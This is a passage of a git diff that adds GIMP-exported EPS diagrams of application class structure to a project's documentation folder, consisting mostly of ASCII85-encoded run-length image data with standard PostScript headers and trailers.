+qZ$Qq]Dqm2j8T)ZgA_3SrrDoq!!)Wj!!)]l!!)*[!!)lq!!(aQrrBP.rrBq9!!)ut!!(aQ!!'n9 +rrC(=rrDrrJ,~> +qZ$Qq]Dqm2j8T)ZgA_3SrrDoq!!)Wj!!)]l!!)*[!!)lq!!(aQrrBP.rrBq9!!)ut!!(aQ!!'n9 +rrC(=rrDrrJ,~> +qZ$Qq]Dqm2j8T)Zo)A[ili-qbp\t3nl2L_`rr2ruh>[HTgAh0Q\,ZI._uB]:qu6Wrh#@?S_>jN8 +`rH&=qu;0~> +qZ$Qq]Dqm2j8T)Zo)A[ili-qbp\t3nl2L_`rr2ruh>[HTgAh0Q\,ZI._uB]:qu6Wrh#@?S_>jN8 +`rH&=qu;0~> +qZ$Qq]Dqm2j8T)Zo)A[ili-qbp\t3nl2L_`rr2ruh>[HTgAh0Q\,ZI._uB]:qu6Wrh#@?S_>jN8 +`rH&=qu;0~> +qZ$Qq]Dqm2oD\djpAb*l!WN0!s8E#ss8Duus8E#urriE&!!*'!rW)uu!!)rs"T\Q&s8N)us8E!! +rrDrr!!)lq#QXo)!<3$!s8W&us8N'!qYpNqqu6Wrr;Qcts8E#trr<&us8E!!rrCdQrrBP.rr@WM +ec5XL`rH&=qu;0~> +qZ$Qq]Dqm2oD\djpAb*l!WN0!s8E#ss8Duus8E#urriE&!!*'!rW)uu!!)rs"T\Q&s8N)us8E!! +rrDrr!!)lq#QXo)!<3$!s8W&us8N'!qYpNqqu6Wrr;Qcts8E#trr<&us8E!!rrCdQrrBP.rr@WM +ec5XL`rH&=qu;0~> +qZ$Qq]Dqm2oD\djpAb*l!WN0!s8E#ss8Duus8E#urriE&!!*'!rW)uu!!)rs"T\Q&s8N)us8E!! +rrDrr!!)lq#QXo)!<3$!s8W&us8N'!qYpNqqu6Wrr;Qcts8E#trr<&us8E!!rrCdQrrBP.rr@WM +ec5XL`rH&=qu;0~> +qZ$Qq]Dqm2oD\djp\t3nrr;uus8N'!rr3'#s8N)srr<&us8N)urr<&urrN3#!;uls!<3!#!<<'! +rr;uuoD]-ts8N'!s8N*!rrE#t!!)Wj!!*#u!W`6#rr30&s8N*!rrE&urrCdQrrBP.rr@WMec5XL +`rH&=qu;0~> +qZ$Qq]Dqm2oD\djp\t3nrr;uus8N'!rr3'#s8N)srr<&us8N)urr<&urrN3#!;uls!<3!#!<<'! +rr;uuoD]-ts8N'!s8N*!rrE#t!!)Wj!!*#u!W`6#rr30&s8N*!rrE&urrCdQrrBP.rr@WMec5XL +`rH&=qu;0~> +qZ$Qq]Dqm2oD\djp\t3nrr;uus8N'!rr3'#s8N)srr<&us8N)urr<&urrN3#!;uls!<3!#!<<'! +rr;uuoD]-ts8N'!s8N*!rrE#t!!)Wj!!*#u!W`6#rr30&s8N*!rrE&urrCdQrrBP.rr@WMec5XL +`rH&=qu;0~> +qZ$Qq]Dqm2oD\djp\t3nrVls"s8N)urrW9$rrDus!!*#u!!)ut!!*#u!s&B$!<3!"!<3&urrW9$ +rrE#t!!)Wj!s&B$!<3!#!<<'!rVlitoD\djrr3$"rrE&u"p"]'!<<'!rVlitgAh0Q\,ZI.JcF:# +rrC(=rrDrrJ,~> +qZ$Qq]Dqm2oD\djp\t3nrVls"s8N)urrW9$rrDus!!*#u!!)ut!!*#u!s&B$!<3!"!<3&urrW9$ +rrE#t!!)Wj!s&B$!<3!#!<<'!rVlitoD\djrr3$"rrE&u"p"]'!<<'!rVlitgAh0Q\,ZI.JcF:# +rrC(=rrDrrJ,~> +qZ$Qq]Dqm2oD\djp\t3nrVls"s8N)urrW9$rrDus!!*#u!!)ut!!*#u!s&B$!<3!"!<3&urrW9$ +rrE#t!!)Wj!s&B$!<3!#!<<'!rVlitoD\djrr3$"rrE&u"p"]'!<<'!rVlitgAh0Q\,ZI.JcF:# +rrC(=rrDrrJ,~> +qZ$Qq]Dqm2pAashqYpNqrVlp!s8Vusrr;uurr2rurr2rurVlitrr3'#s8N)urrN3#!<3!#!<<'! +rVlitoD\mms8N)urrW9$rrE#t!!)Ti"T\Q&s8N)urrrK'rrE*!!<)ot!8@JQ!4W".!7q2M!9F.[ +!;c]q!3#qt!65'=!;leH~> +qZ$Qq]Dqm2pAashqYpNqrVlp!s8Vusrr;uurr2rurr2rurVlitrr3'#s8N)urrN3#!<3!#!<<'! +rVlitoD\mms8N)urrW9$rrE#t!!)Ti"T\Q&s8N)urrrK'rrE*!!<)ot!8@JQ!4W".!7q2M!9F.[ +!;c]q!3#qt!65'=!;leH~> +qZ$Qq]Dqm2pAashqYpNqrVlp!s8Vusrr;uurr2rurr2rurVlitrr3'#s8N)urrN3#!<3!#!<<'! +rVlitoD\mms8N)urrW9$rrE#t!!)Ti"T\Q&s8N)urrrK'rrE*!!<)ot!8@JQ!4W".!7q2M!9F.[ +!;c]q!3#qt!65'=!;leH~> +qZ$Qq]Dqm2oD\djp\t3nrVls"s8N)orrW9$rrE&u!!)ut!!*#u!!*#u"T\Q&s8N)urrW9$rrE#t +!!)Wj!s&B$!<3!#!<<'!rVlito)AjnrrE*!!<3!&!<<'!s8N)trr<&Qs8N).s8N)NrrW9$rrCmT +!!&ttrrC(=rrDrrJ,~> +qZ$Qq]Dqm2oD\djp\t3nrVls"s8N)orrW9$rrE&u!!)ut!!*#u!!*#u"T\Q&s8N)urrW9$rrE#t +!!)Wj!s&B$!<3!#!<<'!rVlito)AjnrrE*!!<3!&!<<'!s8N)trr<&Qs8N).s8N)NrrW9$rrCmT +!!&ttrrC(=rrDrrJ,~> +qZ$Qq]Dqm2oD\djp\t3nrVls"s8N)orrW9$rrE&u!!)ut!!*#u!!*#u"T\Q&s8N)urrW9$rrE#t +!!)Wj!s&B$!<3!#!<<'!rVlito)AjnrrE*!!<3!&!<<'!s8N)trr<&Qs8N).s8N)NrrW9$rrCmT +!!&ttrrC(=rrDrrJ,~> +qZ$Qq]Dqm2oD\djp\t3nrr;uus8N'!q#:Ers8N)urr<&trr<&urr<&urriE&!<<'!rr3'#s8N)u +s8N)jrrW9$rrE&u!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'!rr;uugAh0Q\,ZI.o`"mkp\tBs +rr<'!s8E#ts8E#trrW9$rrDoq!!)or!!)rs! +qZ$Qq]Dqm2oD\djp\t3nrr;uus8N'!q#:Ers8N)urr<&trr<&urr<&urriE&!<<'!rr3'#s8N)u +s8N)jrrW9$rrE&u!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'!rr;uugAh0Q\,ZI.o`"mkp\tBs +rr<'!s8E#ts8E#trrW9$rrDoq!!)or!!)rs! +qZ$Qq]Dqm2oD\djp\t3nrr;uus8N'!q#:Ers8N)urr<&trr<&urr<&urriE&!<<'!rr3'#s8N)u +s8N)jrrW9$rrE&u!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'!rr;uugAh0Q\,ZI.o`"mkp\tBs +rr<'!s8E#ts8E#trrW9$rrDoq!!)or!!)rs! +qZ$Qq]Dqm2oD\djpAb*l!WN0!s8;rts8E#srrW9$rrDusrW)lr!!)ut!s&B$!<3#t!!3*"qu6Wr +qYpWts8N)urr<&urrW9$rrDoq!!)fo!!)utrW)rt!!*#urW!!!!8@JQ!4W".!;-9k!;HNn!<2uu +!;uis!;uis!<)ot!;$3j!<3!"!<3&urrrK'rrE*!!<3#u!3#qt!65'=!;leH~> +qZ$Qq]Dqm2oD\djpAb*l!WN0!s8;rts8E#srrW9$rrDusrW)lr!!)ut!s&B$!<3#t!!3*"qu6Wr +qYpWts8N)urr<&urrW9$rrDoq!!)fo!!)utrW)rt!!*#urW!!!!8@JQ!4W".!;-9k!;HNn!<2uu +!;uis!;uis!<)ot!;$3j!<3!"!<3&urrrK'rrE*!!<3#u!3#qt!65'=!;leH~> +qZ$Qq]Dqm2oD\djpAb*l!WN0!s8;rts8E#srrW9$rrDusrW)lr!!)ut!s&B$!<3#t!!3*"qu6Wr +qYpWts8N)urr<&urrW9$rrDoq!!)fo!!)utrW)rt!!*#urW!!!!8@JQ!4W".!;-9k!;HNn!<2uu +!;uis!;uis!<)ot!;$3j!<3!"!<3&urrrK'rrE*!!<3#u!3#qt!65'=!;leH~> +qZ$Qq]Dqm2_>aK8rVlitgA_-Q[K$7,\,ZI.o`"mkp\t3nrVlitr;Q`sr;Q`srVlitoD\djrr3$" +rrE&u"p"]'!<<'!rVlitW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2_>aK8rVlitgA_-Q[K$7,\,ZI.o`"mkp\t3nrVlitr;Q`sr;Q`srVlitoD\djrr3$" +rrE&u"p"]'!<<'!rVlitW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2_>aK8rVlitgA_-Q[K$7,\,ZI.o`"mkp\t3nrVlitr;Q`sr;Q`srVlitoD\djrr3$" +rrE&u"p"]'!<<'!rVlitW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2_Z'T9qu6Wrh#@?S[/^.+\,ZI.p]('iqYpNqr;ZcsrVultrr2rurVlito)AjnrrE*! +!<3!&!<<'!s8N)trr<%ts8N)=s8N)rs*t~> +qZ$Qq]Dqm2_Z'T9qu6Wrh#@?S[/^.+\,ZI.p]('iqYpNqr;ZcsrVultrr2rurVlito)AjnrrE*! +!<3!&!<<'!s8N)trr<%ts8N)=s8N)rs*t~> +qZ$Qq]Dqm2_Z'T9qu6Wrh#@?S[/^.+\,ZI.p]('iqYpNqr;ZcsrVultrr2rurVlito)AjnrrE*! +!<3!&!<<'!s8N)trr<%ts8N)=s8N)rs*t~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)lq!!)rs!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'! +rVlitW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)lq!!)rs!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'! +rVlitW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)lq!!)rs!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'! +rVlitW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)lq!!)rs!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'! +rr;uuW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)lq!!)rs!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'! +rr;uuW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)lq!!)rs!s&B$!<)ot!:p-n!<3'!rrE&u"p"]'!<<'! +rr;uuW;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)utrW)rtrW)os!s&B$!;c]q!;QQo!<)rs!<2uu!<3#t +!!3*"W;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)utrW)rtrW)os!s&B$!;c]q!;QQo!<)rs!<2uu!<3#t +!!3*"W;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrD]k!!)cn!!)utrW)rtrW)os!s&B$!;c]q!;QQo!<)rs!<2uu!<3#t +!!3*"W;lkt`rH&=qu;0~> +qZ$Qq]Dqm2JcEdjrrBP.rrC[N!s&B$!/(=O!65'=!;leH~> +qZ$Qq]Dqm2JcEdjrrBP.rrC[N!s&B$!/(=O!65'=!;leH~> +qZ$Qq]Dqm2JcEdjrrBP.rrC[N!s&B$!/(=O!65'=!;leH~> +qZ$Qq]Dqm2JcEdjrrBP.rrCXMrr@ZNrrC(=rrDrrJ,~> +qZ$Qq]Dqm2JcEdjrrBP.rrCXMrr@ZNrrC(=rrDrrJ,~> +qZ$Qq]Dqm2JcEdjrrBP.rrCXMrr@ZNrrC(=rrDrrJ,~> +qZ$Qq]DmE^_Z71Grr@WMec5XL`rH&=qu;0~> +qZ$Qq]DmE^_Z71Grr@WMec5XL`rH&=qu;0~> +qZ$Qq]DmE^_Z71Grr@WMec5XL`rH&=qu;0~> +qZ$Qq]DmE^_Z71Grr@WMec5XL`rH&=qu;0~> +qZ$Qq]DmE^_Z71Grr@WMec5XL`rH&=qu;0~> +qZ$Qq]DmE^_Z71Grr@WMec5XL`rH&=qu;0~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$ZiC%*JcF:#rrC(=rrDrrJ,~> +qZ$QqJcC<$Zi>RVd/_2drrDrrJ,~> +qZ$QqJcC<$Zi>RVd/_2drrDrrJ,~> +qZ$QqJcC<$Zi>RVd/_2drrDrrJ,~> +qZ$QqJcC<$Zi>RVd/_2drrDrrJ,~> +qZ$QqJcC<$Zi>RVd/_2drrDrrJ,~> +qZ$QqJcC<$Zi>RVd/_2drrDrrJ,~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qZ$QqJcC<$JcC<$aT)8?qu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +qYu*HJH16$JH3Ugqu;0~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +JcC<$JcC<$\,Us~> +%%EndData +showpage +%%Trailer +end +%%EOF diff --git a/doc/aplicacao/classes-controller.pdf b/doc/aplicacao/classes-controller.pdf new file mode 100644 index 0000000..d2cf699 Binary files /dev/null and b/doc/aplicacao/classes-controller.pdf differ diff --git a/doc/aplicacao/classes-model.eps b/doc/aplicacao/classes-model.eps new file mode 100644 index 0000000..98fca35 --- /dev/null +++ b/doc/aplicacao/classes-model.eps @@ -0,0 +1,2942 @@ +%!PS-Adobe-3.0 EPSF-3.0 +%%Creator: GIMP PostScript file plugin V 1,17 by Peter Kirchgessner +%%Title: classes-model.eps +%%CreationDate: Tue Jun 5 00:56:09 2007 +%%DocumentData: Clean7Bit +%%LanguageLevel: 2 +%%Pages: 1 +%%BoundingBox: 14 14 665 621 +%%EndComments +%%BeginProlog +% Use own dictionary to avoid conflicts +10 dict begin +%%EndProlog +%%Page: 1 1 +% Translate for offset +14.173228346456694 14.173228346456694 translate +% Translate to begin of first scanline +0 606 translate +649.99999999999989 -606 scale +% Image geometry +650 606 8 +% Transformation matrix +[ 650 0 0 606 0 0 ] +% Strings to hold RGB-samples per scanline +/rstr 650 string def +/gstr 650 string def +/bstr 650 string def +{currentfile /ASCII85Decode filter /RunLengthDecode filter rstr readstring pop} +{currentfile /ASCII85Decode filter /RunLengthDecode filter gstr readstring pop} +{currentfile /ASCII85Decode filter /RunLengthDecode filter bstr readstring pop} +true 3 +%%BeginData: 165443 ASCII Bytes +colorimage +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +r;X_9JcC<$JcC<$\Gq'~> +r;X_9JcC<$JcC<$\Gq'~> +r;X_9JcC<$JcC<$\Gq'~> +r;X_9JcC<$JcC<$\Gq'~> +r;X_9JcC<$JcC<$\Gq'~> +r;X_9JcC<$JcC<$\Gq'~> +r;ZcsaoDA@JcC<$JcC<$\Gq'~> +r;ZcsaoDA@JcC<$JcC<$\Gq'~> +r;ZcsaoDA@JcC<$JcC<$\Gq'~> +r;ZcsaoDA@JcC<$JcC<$\Gq'~> +r;ZcsaoDA@JcC<$JcC<$\Gq'~> +r;ZcsaoDA@JcC<$JcC<$\Gq'~> +r;Zcsp](6nr;ZcsoDegjq#C?op](6nJcC<$JcC<$\Gq'~> +r;Zcsp](6nr;ZcsoDegjq#C?op](6nJcC<$JcC<$\Gq'~> +r;Zcsp](6nr;ZcsoDegjq#C?op](6nJcC<$JcC<$\Gq'~> +r;Zcsp](3mrr;rtoDegjq#C?op](6nJcC<$JcC<$\Gq'~> +r;Zcsp](3mrr;rtoDegjq#C?op](6nJcC<$JcC<$\Gq'~> +r;Zcsp](3mrr;rtoDegjq#C?op](6nJcC<$JcC<$\Gq'~> +r;Zcsp](3mrr;rtrr;osrVucqrr;rtrr;uup](6nJcC<$JcC<$\Gq'~> +r;Zcsp](3mrr;rtrr;osrVucqrr;rtrr;uup](6nJcC<$JcC<$\Gq'~> +r;Zcsp](3mrr;rtrr;osrVucqrr;rtrr;uup](6nJcC<$JcC<$\Gq'~> +r;Zcsp\uH +r;Zcsp\uH +r;Zcsp\uH +r;Zcsp\uH +r;Zcsp\uH +r;Zcsp\uH +r;Zcsp\u-3rr<'!!<3$!s8N'!s8N'!s8N'!s8N'!s8Vuss8W*!p](6nJcC<$JcC<$\Gq'~> +r;Zcsp\u-3rr<'!!<3$!s8N'!s8N'!s8N'!s8N'!s8Vuss8W*!p](6nJcC<$JcC<$\Gq'~> +r;Zcsp\u-3rr<'!!<3$!s8N'!s8N'!s8N'!s8N'!s8Vuss8W*!p](6nJcC<$JcC<$\Gq'~> +r;Zcsp\u35s8N'!s8N'!s8N'!s8N'!s8N'!s8N'!s8N'!r;Zcsp](6nJcC<$JcC<$\Gq'~> 